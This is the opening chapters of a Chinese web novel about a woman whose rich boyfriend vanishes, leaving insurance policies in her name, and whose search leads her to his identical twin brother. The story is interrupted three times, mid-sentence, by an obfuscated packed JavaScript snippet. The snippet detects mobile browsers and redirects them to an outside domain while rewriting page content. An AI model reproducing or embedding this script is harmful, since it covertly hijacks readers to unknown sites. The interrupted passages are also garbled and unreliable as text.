《阴湿男鬼买一送一》 1. 保险 “我说你怎么想的,居然敢在老班的课上打瞌睡,害我等你等到现在!” “我的错我的错,我请你吃烤肠好不好?我不要一个人走回去……” “哟,平时不是胆子很大嘛,怎么啦,你又看什么鬼故事了?” “就是那个啦,那个鬼来电……” “我就知道是那个,一听就是假的吧,那么多人说得信誓旦旦,也没见到谁能真的拿出电话录音啊?再说就算是真的,到时候我就给我奶奶打电话,她最疼我了,说不定还给我透露明天的彩票号码呢~” “讨厌啊你……跟你说正经的呢……” 她们说的正是最近在互联网上热度很高的都市怪谈,据说这样那样一番后就可以和死者通话,因为操作简单,对实施者要求几近于无,有许多不知天高地厚的人跃跃欲试。别说是摸鱼高手李岁荣,就连公司的扫地阿姨,她都撞见过她们在厕所嘀咕,其风靡程度可见一斑。 身旁打打闹闹的女子高中生说笑着走远了,她只能再叹口气,丝毫不能被她们轻松愉快的氛围感染,她塌着肩膀垂着脑袋,有气无力地对着手机道歉。 “对不起老板,我今天实在是有事……不是故意的……已经到了下班……对不起我没有找借口,真的是有事……” 回答她的只有一句恶狠狠的“不想干就别干!“和冷漠的”嘟嘟“声,电话被人毫不留情地挂断了。 她又叹了口气,只觉得自己的脚步更加沉重了。 在下班时间还会给她这么一个无足轻重的外包员工打电话的,除了她的上司郑仁武不做他想。事么当然也不是什么要紧事,只是今天要她去帮忙接一下女儿放学罢了。 她李岁荣,拿着平平无奇的工资,上着平平无奇的班,时不时担心自己转正到底是不是领导画的大饼,再被他支使得像个私人助理。要说她有什么特殊的地方,大概也只有自己那个英俊多金的文艺富二代男朋友了吧。偶尔被差遣得烦了,她也会幻想男友化身霸总从天而降,恶狠狠地要求郑仁武滚蛋,把位置腾给真正有能力的人(当然是李岁荣)。这个时候她必然是要翘着二郎腿,冷笑着看那个人模狗样的王八蛋跪下来给自己道歉,在大家惊羡的目光中完成一波苏爽至极的打脸。 只可惜文艺富二代除了钱一点权也没有,有领导做前例,李岁荣也无比痛恨一切靠关系上位的人。她坚信是金子总会发光的,为此勤勤恳恳拉了一年又一年的磨。好消息是真没以外包之身败走,坏消息是也真没获得正式员工资格。 那么作为一个“无足轻重的外包员工”,她今天又为什么突然有胆量拒绝郑仁武的要求呢?这完全是因为文艺富二代在四天前一声不吭地离家出走了,毫无征兆,除了一张“勿念”的字条之外,任何联系他的信息都如同石沉大海一样杳无音讯。 当然,当然你也可以说这是杀猪盘跑路了。可是他和李岁荣交往这么些年,又是请助理又是洗手作羹汤,出人出力又出钱,收礼只收纯手工,是一分钱也没从李岁荣身上要过。世界上要是有这么卧薪尝胆的杀猪盘,那也只能理解为菩萨又下凡普度众生了。 因此,不管是为了自己良心过得去,还是为了这么多年的感情,李岁荣都必须把这件事搞清楚。 她的手机就是在这个时候又阴魂不散响起来的,李岁荣心不在焉地接起来:“老板,小芯我今天真不能去接……嗯?” 电话里是一个非常甜美动听的女声:“您好,请问是李岁荣李女士吗?这里是麒泰保险公司保单服务部。我们正在对近期部分高净值客户的保单进行例行资料更新核查,需要占用您几分钟时间协助确认信息,请问您现在方便吗?” 李岁荣下意识地咽了口口水,一股不祥的预感涌上心头:“嗯……是的,但是我应该没有买过你们的保险吧……” 她听到对方飞快地敲击了几下键盘,声音变得更温柔了:“是这样的,有一份被保人为宁满蹊先生的保单受益人是您呢。这边想确认保单号后四位或者您的身份证后六位,请问您可以提供一下,协助我们进行核查工作吗?” “保单号……我不知道,我不知道有这个保险……”李岁荣喃喃,“投保人是他本人吗?他完全没和我说过……” “这边目前查询到的结果是这样,那您方便提供一下您的身份证后六位吗?” “抱歉,呃,我是说我可能不太方便,我完全没听说过保险的事。”她捂住听筒深深地呼吸了一口空气,“等我确认过相关信息再说吧,不好意思。” “好的,不好意思打扰您了。您可以询问宁先生相关内容,我们可能会在3-5个工作日后再联系您,祝您生活愉快。” 电话就这样轻飘飘挂断了,只留下李岁荣一个人呆呆站在原地。明明夏天还没有走远,参城的气温还居高不下,她却浑身一片冰凉。 几年前,因为一些原因她不得不办理退学手续离开大学。没有拿到学位证,哪怕是家喻户晓的庆北大学也没办法让公司人事部为她网开一面。她干过很多很多兼职,其中当然包括卖保险。 所以她也清楚,保险公司会在什么时候因为什么主动打电话联系受益人。 ——比如怀疑被保人和受益人联合骗保的时候。 李岁荣简直不知道自己是怎么回家的,她满脑子一时“难道不是杀猪盘而是蓄意报仇”,又一时“我真的是良民生活作息两点一线可查必不会被冤枉”,甚至“到底是没有本科文凭严重还是有案底更严重”。这些乱糟糟的想法让她魂不守舍,打开家门连鞋子都忘记收回来就冲进卧室。 她和宁满蹊在一起三年不到,同居两年。宁满蹊不想也不需要上班,爱好就是在家做做烘焙和三餐。他像个古板的老年人一样认为外卖不干净也不健康,热衷于搭配各种营养均衡的健康,一手包办了她的所有餐食。 因此,在这个三室一厅的温馨小家里充斥着他的痕迹。椅子上搭着某个顶奢品牌的围裙,硬是在墙角打出一排橱柜放乐高,还有衣帽间堆得乱七八糟的私人订制——李岁荣也不知道是什么牌子,这些是穿过等着阿姨拿走处理的——就好像他根本没离开过一样。 “在哪里……在哪里,”宁满蹊从不在爱好以外的生活起居上操心,大部分东西都随手乱扔,李岁荣也从没有在意过,“床头柜……可恶,怎么有密码?” 她想了想,把宁满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908284|176819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹊的生日输进去,滴滴两声,密码锁提醒她还剩下两次机会。她犹豫一阵子,又输入了自己的生日,还是熟悉的滴滴,这下只剩最后一次机会了。 她不敢再乱来,可是既不是二人生日,那还能是什么日子呢?他喜欢的画家的生日?那些大胡子外国人的名字她一听就犯困,根本分不清谁是谁。他爸爸妈妈的生日?那更没救了,他的双亲早就过世,她连大名都叫不上来! 就在她一筹莫展的时候,也许是卧室的窗户没关好,幽幽吹来一阵夜风,将一张便签纸吹到她的手边。便签上是一行漂亮的数字,0930,是宁满蹊的字迹。 0930……李岁荣摩挲着这张便签,这个日子她并不陌生,这是宁满蹊向她表白的日子,再过十几天就到了,那也是他们恋爱三周年纪念日。 她收敛起不必要的思绪,小心翼翼地按下这四个数字。 床头柜无声地滑开一线缝隙,一沓厚厚的文件静静躺在其中。 李岁荣双手颤抖着拉开床头柜,捧出那一沓催命书,慢慢翻看起来。 好消息:这份文件不是麒泰保险的保单。 坏消息:第四份是,而这里的一二三四……五份,足足五份文件全都是高额保单!受益人不是别人,全都是她李岁荣! 李岁荣欲哭无泪,她早在三天前,也就是发现宁满蹊字条此人又夜不归宿的一天就去报了警,对方承诺她48小时内还是没有消息就会考虑立案。她当时还再三强调宁满蹊绝不会莫名其妙地离家出走,希望警方务必重视…… 这看起来简直就是活脱脱一个恶意骗保的犯罪嫌疑人。难怪保险公司冒着打草惊蛇的风险联系她,恐怕是早就联系过警方了。 苍天可鉴,她李岁荣和宁满蹊在一起这三年就算不是蜜里调油,也绝对算得上举案齐眉相敬如宾狼狈为奸…… 正胡思乱想着,李岁荣的余光看到抽屉的深处似乎还有什么东西。 “小路,我不是故意要去翻你的隐私哦。”她喊着对方的小名,闭上眼睛做祈祷状,“实在是你把我坑惨了,我这是在找自证清白的办法!” 那是个深蓝色的皮革盒子,上面写着HW。李岁荣屏住呼吸,轻轻推开了盒子。 柔软的天鹅绒被月光擦出一片细腻的微光,在这片微光包围中,嵌着一枚夺人心魄的戒指,数颗流光溢彩的钻石之间拱托着一颗澄澈的蓝钻,像是强行以人工私藏了一汪湖泊。 李岁荣突然明白为什么密码会是那一天了。 尽管家里只有她一个人,她却还像是为了缓解尴尬似的咳嗽两声,装作若无其事地合上盒子,塞回抽屉里。 为了尽可能还原戒指盒子原来的位置,她不得不压低身体,仔细端详。 “咦?”她忽然注意到左手食指上染了颜色,“这应该是个大牌子吧?难道还会掉色吗?” 借着明亮的灯光,她狐疑地盯着自己的手指,又凑上去仔细闻。 ……皮革特有的气味下,水笔笔芯的味道微微侵入她的鼻腔。 她又低头去看那张便签,上面的数字果不其然被抹开了。 至少三天前的水笔印,会到现在还没干吗? 2. 流浪汉 李岁荣的心再次砰砰跳起来。 如果说心脏也喜欢玩极限运动,那它今天一定玩够本了。 诚如李岁荣对宁满蹊的评价,他是个不折不扣的文艺男,爱看的电影也无非是什么《火形物语》、《赎罪券》、《爱猫之城》之类的。李岁荣一看这些东西就开始打哈欠,下一秒就能睡得人事不省,所以在她的强烈要求之下,他们常常会穿插着看看《死鬼来了》或者《午间凶铃》,最近刚用这种办法看完《大门锁》。 她到现在都记得那段女主角看监控发现家里有人进来,但却没找到对方出去时宁满蹊双眼含泪的惊恐表情。当时她是怎么说的来着:“这些都是演的,不可能的啦,现在哪还有这种变态?就算有,他也撬不开咱们家的锁啊。” 不过想到这里她又觉得不对劲。对啊,假如世界上真有一个能悄无声息地打开他们家的指纹锁,知道他们的纪念日,还和宁满蹊字迹一样的人,那这个人怎么看都是且只能是宁满蹊本人了吧? 保险起见,李岁荣装作什么都没发现,站起来一边用不小的音量道:“我的睡衣呢?我新买的那套睡衣去哪了?”一边飞快地打开各种密闭空间的门。 不过很可惜,经过她一番地毯式搜寻,她终于可以确认宁满蹊找的家政确实是业界标杆,就连家中死角也没有一丝灰尘。 当然也没有藏人。 她只好把这份怀疑暂时归结于自己神经过敏,人身安全暂时得到保障后,随之而来的就是对牢狱之灾的忧虑。 “不至于真的这么整我吧……”她默默看着聊天界面,“你到底在哪?为什么不回家呢?” 就像由她发出的绿色气泡框一样,除了几只窗外将死未死的蝉外,没有任何人回答她。 - “……所以,这就是你决定要去学习高中生玩叫魂游戏的原因?”赵无意把手机“啪”得扣在桌子上,“你疯了?先不说这东西准不准,你怎么就笃定他不是苦心积虑想害你而是死了呢?” “呃,”李岁荣尴尬地抠了抠桌角,“怎么说呢,那其实还是苦心积虑想害我更可怕一些吧。” “倒也……不对,别给我岔开话题,你是不是还有什么没和我说的?”赵无意眯起眼睛,“赶紧都给我从实招来!” “好说好说,你小声点,大家都看过来了……”李岁荣缩了缩脖子,“不是我不想说啊,实在是怕吓到你……” “当时我真的是把所有能联系他的手段都用尽了,也去他几个房子和公司里找过他……他那几个助理我也全都问过了,他们都信誓旦旦说没任何反常。”李岁荣低着头,从她的角度可以看到外面露天座位坐着一个流浪汉,脚上一双不知道洗了多少次、鞋底都摇摇欲坠的新百……噢不,新巴伦,“他的护照身份证也都在家里没带走,除了手机,他什么都没带。” “人大少爷缺你那三瓜两枣的,”赵无意冷笑,“电子身份证一扫不就哪都能去了?你又不给他员工发工资,他就是今天进局子了你都得提审了才知道。” 那个流浪汉似乎找到了一个舒服的姿势,借着咖啡店阳伞的阴影舒舒服服地趴下了。 “我就是一种直觉……我觉得他没走远。” “以前没觉得你恋爱脑啊,怎么人一走觉得可贵了?吓人的地方在哪?”赵无意敲了敲李岁荣的脑袋。 “根本没有的事,跟爱不爱没关系。”李岁荣推开她的手,“你知道之前我们家都是他做饭的,他不在的那两天我要么在外面吃要么叫外卖,我自己也不会做饭。” “但是昨天晚上都检查完实在太晚了,还开门的几个都不太好吃。我就想看看冰箱,要是有点什么水果黄瓜之类的我还能凑合凑合。” 李岁荣的声音极轻,近乎一种自言自语,赵无意突然觉得这家咖啡厅的空调开得好像有些太低了。 “我打开冰箱,发现里面全都是做好的饭菜,荤素搭配营养均衡特别讲究,一看就是宁满蹊做的。而且都很新鲜,有一盒甚至还能摸到一点温度。” “他偷偷溜回来给你做饭?不至于吧?!” “没有,我早就看过监控还有门锁的记录,这几天除了家政和我自己没有任何人来过。”她瞥了一眼赵无意的脸色,又飞快补充,“进来的只有家政,我家门锁有摄像头你是知道的。” “那,那也说不准是家政给你做的……” “绝对是他,吃了几年的饭我能不知道吗?而且……” “而且我昨天回家太着急,明明把鞋子忘在门外了。但是今天早上出门的时候,那双鞋子就好好地躺在鞋柜里。我查了门锁记录,最后一条就是我昨天回来的日期,再没有多的了。” “小意,”把事情说完,李岁荣忍不住喊她,“别喝了,你那杯饮料五分钟前就没了。” 赵无意恼羞成怒:“没……什么没啊,我才没怕!你不要乱说!” 作为一个坚定的唯物主义者,李岁荣一向是对什么都市传说大众怪谈嗤之以鼻的。但当亲身经历了那么些奇奇怪怪匪夷所思的事,且不管灵异事件是怎么个行为逻辑,反正活人被事赶事,眼下之计也只能死马当活马医,有什么法子先用什么法子了。 诚然她自己问心无愧,但话又说回来,她不爱社交,每天下了班没什么事就回家,第二天继续去上班,中间固然是没有出过门,但谁知道她在自己家干嘛呢?说是说可以从水电煤气各种账单证明一个人的行动——可她家冰箱都能自己做饭了,这还能找谁说理去啊! “所以,你能明白我为什么要寻求一点,”李岁荣晃了晃手机,“玄学方面的帮助了吧?” 赵无意这下也不好再说些风凉话:“可是……可是,真的靠谱吗?万一真的接通了,‘那个’送不走怎么办啊……你看那些,笔仙……什么的,不都说送不走会被缠身吗?” “还想这么远呢!送不送的走感觉都已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908285|176819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经被缠上了!我要是继续这么被动下去,不用先被鬼魂索命,我就要先被保险公司送走了!” 可能是这种发言略显得猎奇,加上李岁荣情急之下没抑制住自己的声音,令路过的侍应生后退一步,没忍住用同情的眼神上下打量一番这个年纪轻轻就不幸罹患精神疾病的女子。 “嗯……你看我这句台词这么说不错吧?”李岁荣讪讪一笑,自己给自己圆了个场。 侍应生会意地露出一个微笑,与此同时,咖啡厅另一个角落里传来一个女孩子清脆的声音:“你好,点单。” “好险好险,”看着对方急匆匆走远,李岁荣一口喝完剩下的拿铁站起身,“你也别太担心,我就是给你透个底,要是明天我还没有联系你……你,你也不用自己来,反正知道有这么个事就行。” “不行!”面对这遗言一样的交代,赵无意的声音里已经带了一丝哭腔,“你干嘛这么着急呀,咱们再想想别的办法,不是还有那种大师吗。老刘他人脉广,我喊他帮你问问啊。” 想到她男朋友那张好像全世界都欠了他一个亿的脸李岁荣就发怵,她忙不迭地摇头:“两害相权取其轻这个道理我还是懂的,你男朋友不是最讲究科学依据的人吗?我可不想到时候再被他训一顿,还要说我带坏你。” 一边说着,她一边推开门。乍从室内来到室外,毫无遮挡的阳光洒在脸上,让李岁荣不适地闭了闭眼睛。 等她再睁开眼的时候,那双刚刚还被自己盯着的新巴伦稳稳站在了不远处。 “这位小姐,我看你印堂发黑乌云罩顶,近日必有牢狱血光之灾,更甚者恐有性命之忧啊。”那人说,声音有几分熟悉,“但你我今日能在此相遇就是有缘,不要9998也不要998,只要9.9,这单算我们交个朋友。” “……”李岁荣终于适应了光线差,上下抬头打量了一眼这个用夸张礼帽盖住大半张脸的男人,个子很高,穿假鞋也不算什么,但是t恤破洞牛仔裤混搭蓝白校服未免过分不羁,这年头骗子也有cos迈克尔普雷斯利*的梦想? 但是不管怎么说,她扫了一眼对方外套下可以看见的肌肉,还有纷纷移开目光假装透明人的路人,还是感到一阵不妙。 搭话的话,会不会被就此缠上? “我说,”她挡在瑟瑟发抖的闺蜜身前,想象自己是盛气凌人的网红,“9.9就是你认知的天花板了吗?” 意料之外的拒绝让对方愣在原地,不等他回过神,李岁荣拉着赵无意撒腿就跑。 她们跑的速度并不快,但男人也没有要追的意思。见她们的身影在视野里越变越小,他像是觉得不舒服一样,轻轻挪了挪了自己的帽子。 如果李岁荣还在,此时也许会冲上来抱着他大哭大闹……当然也可能直接给他一耳光。因为这张脸居然和她那疑似英年早逝的男朋友一模一样,就连右眼下那颗小痣也仿佛一比一复刻,如假包换的宁满蹊。 3. 电话拨通 “那个都市传说是真的!”经过了特殊处理加上对方异常激动的情绪显得格外尖锐的女声说,“在凌晨四点四十四分,先拨打自己的手机号然后挂断,再大声呼喊三次想见的人的名字,最后输入000和那个人的号码就一定能接通。我真的和爸爸说上话了……他都已经走了两年了……呜呜……” “我,我也是,我奶奶三年前去世了,但是她在电话里嘱咐我要好好学习,不要挑食,那个声音就是奶奶的,我绝对不会认错!”这是一个男声。 “没想到居然有这么多人都亲身体验过拨通神秘电话。”挂断了连线电话的主持人说,“那么屏幕前的观众老爷呢?现在有没有也想试试看?你有没有相见的人?不过要小张哥说……” 再次确认了重要信息,李岁荣毫不留情地点击退出,那个故弄玄虚不露真容的家伙一下子消失在屏幕中。 现在是凌晨四点四十分,还有四分钟就是传说里的灵异时间,李岁荣按照都市传说的内容把自己关在漆黑的卫生间里,紧紧握着手机。 拨号界面将她的脸映照得一片惨白,她面无表情,凝视着代表时间的数字缓缓前进。 这通电话究竟能否接通,所谓的“都市传说”到底是真的灵异事件,还是各种自媒体人炒作的噱头……她说不清自己现在到底是怎么想的,甚至很难说自己到底想要什么样的结果。 如果接通……如果对面真的是亡者……那是否就说明那个陪伴了自己快三年,每天叽叽喳喳分享日常,不厌其烦地找各种塔罗星盘就为了论证他们俩天生一对的家伙真的彻底走向彼岸了? 那样的未来是怎样的呢? 她就这样胡思乱想着,看着最后那个小小的数字3“唰”的一下跳成了4。 条件反射一般,李岁荣的拇指狠狠击中了绿色的呼出键。 在只有心跳声和呼吸声的密闭空间里,“嘟……嘟……”声清晰回荡着。 “您拨打的用户正忙,请稍后再拨。Sorry……” 因为不确定是否整套流程都要在四十四分完成,李岁荣飞快摁掉了电话,保持着后背靠墙的姿势,大声呼喊着宁满蹊的名字。 “宁满蹊,宁满蹊,宁满蹊——” 苍白的手机屏幕是这方小小世界里的唯一光源,她屏住呼吸,警惕地观察着四周。 不需要低头,只需要凭借记忆就可以摁出那串号码,这些天她已经呼出过无数次,每一次都是冰冷的“您拨打的用户已关机,请稍后再拨。” 本来应该是这样的—— 她发现自己的手指不受控制地痉挛起来,不由自主地输入了另一串数字。如果,如果有这样一个机会联系一个见不到的人…… 也许过了几秒,也许更久一些,李岁荣还是删除了它,重新从通讯录里的置顶里选择了呼叫。 下一次吧,她对自己说,下一次再尝试。 “嘟……嘟……” 周围没有任何变化。 “嘟……嘟……” 也许是她实在太关注电话能否接通,李岁荣只觉得这次的拨号时间格外漫长。 “嘟……嘟……” 不知道第几次嘟声后,尘埃落定般,话筒里传来:“您拨打的用户已关机,请稍后再拨。” 李岁荣轻轻按下挂断键,吐出一口气。 现在是凌晨四点四十五分,看来这果然不过是个互联网段子,李岁荣啊李岁荣,你怎么也沦落到这个地步了。 她自嘲地笑笑,打开卫生间的灯顺势整理整理仪容。 因为熬夜而显得憔悴的面容中,她发现自己的表情并不显得沮丧。 “也不算太糟,对吧?”她对着镜中的自己说。 这么一通折腾下来天已经快亮了,李岁荣也没多少睡意,她索性洗了把脸打算出去买个早饭。 坐以待毙当然是不可能的,既然旁门左道走不通,还可以再去联络那几个生活助理,如果都没用,那闺蜜男友的臭脸也不是不能勉强一看。 - “老板,一笼小笼加杯豆浆,给我多放点糖。” “好嘞!”早餐铺老板应道,“小笼刚卖完了,可能要等几分钟来得及吗?” 李岁荣点点头:“那儿的座位是你家的吧?堂食可以吗?”她指指不远处的几个红色塑料板凳。 “没问题,等好了我直接给你端过去!”老板爽朗一笑,又赶紧招呼后面的人,“小馄饨一碗是吧,马上就来。” 李岁荣坐在板凳上,感受到晨光温和地洒向皮肤,昨晚下了点小雨,热腾腾的蒸点和馄饨香味混合着空气中淡淡的泥土腥气,让疲惫的大脑为之精神一振。 “小笼包来咯——”没过一会儿,老板就笑眯眯地端着托盘来了,“里面有汤汁,小心烫。” “好,谢谢老板。”李岁荣应承着,掰断一次性筷子,却见老板还是磨磨蹭蹭地站在身边,一副欲言又止的样子。 见她注意到自己,老板一边作势给她介绍桌上的调味瓶,一边低声说:“哎,小姑娘,那边有个男的好像在跟着你啊,是你认识的人吗?我看从你排队之前就一直鬼鬼祟祟藏着了。” “哪儿?”李岁荣下意识就要扭头去看,又硬是遏制住自己,借着不锈钢茶壶的反光,她调整了一下角度,果然在树后看到一个模模糊糊的人影。 这破鞋,这破裤子,就算被反光拉得初具人形,她也能一眼认出就是那天那个听两句墙角就来碰瓷的神棍。 不过现在身处闹市,人来人往熙熙攘攘,还有好心热情的店主,她的滥好心便又控制不住地发作了。 要不,还是去问问吧? “没事儿,就是个骗子,可能觉得我比较好骗吧。”她犹豫着说,“您再给我来杯豆浆吧,加一个茶叶蛋,谢谢您啦。” 感觉到他们好像认识,老板也不再担心,嘱咐她两句注意安全就走开了。 骗子本人好像没有太大隐藏自己的兴趣,大约是草丛里虫子太多,等李岁荣慢吞吞吃完早饭,他已经蹲坐在马路边,帽子盖住脸,不知道是睡着了还是醒着。 “喂,”她把茶叶蛋和豆浆放在他身边,俯下身,“你没正经工作吗?我很穷的,绝对不可能买什么开光护身符或者做什么解厄仪式,你还是早点换个人骗吧。” “我又不是道士……”隔着帽子,他的声音闷闷的,“更不是和尚,我有头发的。” 唯独不否认骗子吗……李岁荣都有点无语了:“随你便吧,好话我是和你说过了,下次再被我发现跟着我我就直接报警,到时候可别怪我不留情面。” “真的要报警吗?”明明被遮着脸,那个人就仿佛看得一清二楚似的,手指一勾就拎起装着食物的塑料袋,“我倒是有信心没事,你嘛,我看不一定。” 嘿这人,还蹬鼻子上脸了。李岁荣逆反劲儿也上来了,一屁股坐在他旁边:“好啊,那你倒是说说,我是出了什么事?你都知道什么?打算怎么做?” 骗子抽出吸管,“啪”一声戳进杯子里,又隔着塑料袋轻轻一搓茶叶蛋,茶叶蛋就像从出生开始就不认识自己那层壳一样,露出泛着茶香味的褐色蛋白。 “你在找人对不对?这个人……嗯,这个人对你很重要。”他微微掀开自己的帽子,露出尖尖的下巴。 “差不多得了,说点新鲜的行不。”李岁荣有点不耐烦了。 “是你男朋友吧,离火巽风……他失踪了,而且很有钱,本来也许能帮助你,但是现在反而陷你于不义,直接导致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908286|176819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你快要坐牢了?” 他把豆浆塞进帽子里,吸得呼噜呼噜的:“给你立遗嘱了?转移股份了?还是买了保险?” 这家伙好像真有点水平啊,李岁荣震撼地看着他几秒就喝完一大杯豆浆:“还有呢?” “好心办坏事,看来他是个蠢货啊。”他又把茶叶蛋塞进帽子里,也不知道吃没吃,居然还能吐字清晰,“你随便报两个数字。” 李岁荣半信半疑地随口道:“13,29。” “唔……四爻,那还来得及,不过你昨天是不是做了什么?求借外力了?”他又伸手摸索,“怎么没了?” “什什么没了,你别吓我啊!”不会是真吸引到什么了吧,李岁荣大叫,“我说了我不会买你的小商品的!” “豆浆3块,茶叶蛋2块,”李岁荣居然能听出来他有些不悦,“还差4.9,后面不说给你听了。” 搞什么,结果居然是这个没了!她鼓起脸,和帽子僵持了几分钟后甘拜下风,悻悻地重新跑去排队。 “好了,给你买了个煎饼果子,加里脊脆饼烤肠双蛋多酱,这回你总可以继续说了吧!”她递出刚做好还烫手的饼子,恶狠狠地说,“不许说话大喘气!” 那人不情不愿——李岁荣再次震惊自己居然可以看出他不情不愿——地接过塑料袋,他虽然一副风餐露宿的样子,但指甲居然修剪得十分圆润,显得干干净净。 “我只吃一半。”他强调,“还有1毛算我欠你的,下次你自己算清楚。” 其实加这么多配料要十五,李岁荣默默地想,看来他是没有加过了。 “你这个问题其实有两种解法,要么找到人,要么把经济,应该是经济问题吧?把出问题的账解决了也就了结了,好烫,”他轻轻呼了两口气,“但是呢,卦象表示现在已经引起第三方注意,如果找不到人,最后麻烦的也还是你,所以其实只有一条出路。” “上乾天,那就是警察介入的苗头,难怪你有牢狱之灾。”他的头上下移动,似乎是在点头,“这家店手艺不错。总的来说还是吉卦,不过你还要继续沉默隐瞒下去的话就说不准了。” 我去,这家伙好像真有两把刷子!李岁荣忽略里面夹杂的美食点评,佯作已经被他说服还差最后一步的动摇表情:“那,那大师先帮我算算我找的人在哪……有没有什么关键词之类的。” “……”对方可疑地沉默了,直到她就要忍不住的前一秒,“他姓宁对不对?而且不是一般的宁。” 时间好像默不作声地静止了几秒钟,直到下一阵微风拂过面颊,吹动李岁荣额前的刘海。 “大师!!你是真的大师,之前是我小人之心,请你一定要帮帮我啊!”她像是终于反应过来,热泪盈眶地抓住他的手,“其实……” 她竹筒倒豆子一样把这几天发生的事说了,最后无限委屈地强调:“我和他真是相敬如宾,从未有半点不轨之心啊!” “我已经感受到你的诚意了……”大师抽了抽被她握住的手,李岁荣赶紧会意地松开,“好吧,毕竟我们是朋友了,我会帮你解决这个问题的。” 他的语调不知为何显得十分愉悦:“作为朋友,我们先交换一下名字吧。” 他晃了晃脑袋,这人出来流浪居然还能保证长发又顺又滑,发间几片落叶就这样被他甩落在地,和叶子一起落地的,还有那顶总是不在应有位置的帽子。 李岁荣目瞪口呆地看着那张脸,她和它的主人同住一个屋檐下,吵过闹过笑过。毫不夸张地说,她应该是这个世界上还活着的对这张脸最熟悉的人—— “真是太巧了,我想,”他的眼睛微微一弯,连那颗小痣都含了几分笑意,“我叫项小园,你在找的应该是我那不成器的弟弟吧。” 4. 楚门的世界 毫无疑问,如果说这个世界上谁最能解决李岁荣的燃眉之急,那么这个人一定非这个项小园莫属了。 这并非是因为对方真的是个无所不能的道士或者舌灿莲花的骗子,而是因为那张脸。李岁荣敢发誓,就算他们俩的亲妈再世,也决计分不出这两个人外貌上的不同。 “你,你们是双胞胎?不对,是克隆人?他是不是被你们绑架了?!”她语无伦次,“我警告你,这可是室外,光天化日朗朗乾坤,你们要是敢动手我就叫了!” 姑且把姓氏问题放在一边,单说宁满蹊这人就像个喇叭、漏斗,非要比喻的话就是你上学时最讨厌的那种室友。今天你和他说个秘密,再三重申不要告诉任何人,明天就能发现全校都知道了。这种藏不住任何心里话的人,怎么可能不告诉她自己有个足可以当替身的亲哥哥? 这事有诈!绝对有诈! “太让人伤心了吧,”项小园用摘下的帽子遮住下半张脸,眨巴着眼睛盯着她,“我们不是朋友了吗?我怎么会伤害自己的朋友呢?” 他想了想,忽然一敲掌心:“还是说,你已经不需要我帮忙解决问题了?” 李岁荣警惕地看着他,忽然微妙地品出了一点不对劲。 她有着丰富的乙方经验,深刻明白一个道理——当你有求于人的时候,对方不管是干嘛的,那一定都可以骑在你的头上。那么,既然需要帮助的是她李岁荣,为什么缠上来的却反而是有能力伸出援手的人? 假设这一切原本是他……或者他们策划的,目的是什么呢?他们都可以神不知鬼不觉绑走宁满蹊了,又为什么还要大费周章地嫁祸给她?图钱?图名?可是这些她都没有,干嘛非要把她扯进来? 如果不是,那他天生就有如此优越的资本,正好借势鸠占鹊巢不好吗?退一万步说,作为亲兄弟,他天然有着接手对方遗产的最优先继承权。又有什么必要跑到她面前来刷存在感,还打着帮她大忙、神神叨叨的旗号? 除非……除非他们的目标本来就是她李岁荣,从头到尾就是冲着她来的,真正有求于人的不是她,而是他! 想到这里,李岁荣顿时有了几分底气,也不着急了:“你说这里这么多人,现在信息这么发达,万一有人对你印象深刻……到时候那就不是失踪了,也可能是你蓄意骗保畏罪潜逃啊。” “喂喂,饭可以乱吃话不可以乱说啊,”他瞪了李岁荣一眼,赶紧把帽子挡回去,“我帮你是我遵守承诺顾念亲情友情,你可不要搞什么祸水东引!” 见对方被这么奚落也露出生气或者离开的意思,李岁荣心中更多一分把握,笑得越发和善:“因为实在是太突然了,我又从没听小路提起过你,感到害怕也是很正常的嘛。我现在相信你是个善良的好·哥·哥啦,这样吧,我们现在就去警局撤销报案。” 项小园还没来得及说话,她又赶紧补充:“或者我给保险公司打电话也行,你帮我做个证明。虽然我是个好人,但我们也要先解决燃眉之急再慢慢调查呀。” “你是他的哥哥那就也是我的哥哥,好·哥·哥,你一定会帮我,不会让你弟弟就这么不明不白的失踪,对不对?” 李岁荣就像机关枪一样飞快说了一长串,说完之后模仿项小园的样子,满含期待地眨巴着眼睛盯着他。这人能隔着帽子视物,那说不定是什么高科技材料,他肯定能看得到! “真没劲,我就说这招肯定行不通……”项小园局促地动了动手指,低声抱怨道。 旋即,他又转过脸……转过帽子对她说:“我知道你肯定不相信我,但我确实是他的哥哥。我们之间的事他不愿意和你说那就暂且不提,你遭遇到的事和我没有任何关系,具体什么情况我也才知道不久。” 他一正经起来,李岁荣反而难以判断真假,于是也屏气凝神,保持沉默。 